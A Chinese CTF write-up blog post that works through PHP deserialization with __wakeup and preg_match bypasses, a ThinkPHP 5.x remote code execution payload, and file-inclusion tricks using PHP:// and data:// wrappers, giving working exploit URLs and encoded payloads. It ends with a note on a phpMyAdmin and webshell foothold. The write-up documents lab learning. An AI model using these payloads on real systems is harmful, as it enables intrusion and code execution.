反序列化,反序列化漏洞还需再做几个题
php魔法函数
php魔法函数
正则表达
源码:
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() { //类被删除或停止调用的时候调用
echo @highlight_file($this->file, true);
}
function __wakeup() { //反序列化的时候调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); //进行base64解密
if (preg_match('/[oc]:\d+:/i', $var)) { //[oc]匹配o-c的字母,\d+匹配多个数字,/i不区分大小写
这句意在匹配我们传入序列化的类
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
我们可以用GET方法传入$var,进而
根据注释分析得,拿到flag需要一下几个条件:
1、我们需要绕过preg_match,进而能够进入unserialize(),
2、但是进入发序列化首先是要执行__weakup,所以我们绕过__weapup,
3、进而进入__destruct()
满足1:我们需要
改为
满足2:当成员属性数目大于实际数目时可绕过wakeup方法
满足3: 无需操作
对上述payload进行base64加密
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
上传即可
附上从别人博客摘的代码,忘记从哪摘得了,作者大佬看可提醒我删去,狗头保命
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
// echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
echo $C;
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
使用payload:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
但是,flag在哪?
find / -name “*flag”
本以为路径就是/flag/flag
但是,他这个是一个路径重复两次
看WP才看出来
cat /flag即可
这个提有很多利用方法。
访问页面看到如下:
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。就是会去除php://,所以需要绕过
因为strstr()函数对大小写敏感,所以只需PHP://即可绕过
再者就是文件包含,这里已经算是提示咱们用伪协议。看了一些资料之后。
发现
php://input,需要开启allow_url_include。将post请求的数据当作php代码执行。
所以,我们就运行shell了。
外部包含,我这我不是很理解,不明白hello传进去就会被执行,回头再分析分析
1.审计php代码,while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。
2.默认页面为http://127.0.0.1/index.php,设置为page值,可确保while为真
3.利用hello参数将执行内容显示,flag如图所示
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E
更换伪协议 data://text/plain,这个大致含义是可以运行GET过去的数据流。
http://111.198.29.45:53463/?page=data://text/plain,%3C?php%20system(%27ls%27);?%3E
http://111.198.29.45:53463/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20base64_encode($a);?%3E
或者highlight_file(%27fl4gisisish3r3.php%27);
扫描后台文件:
登录phpadmin,用户名root 密码为空
然后执行
之后菜刀链接即可
参考链接:
伪协议与文件包含
攻防世界Web_php_include
phpMyadmin提权那些事
谈一谈php://filter的妙用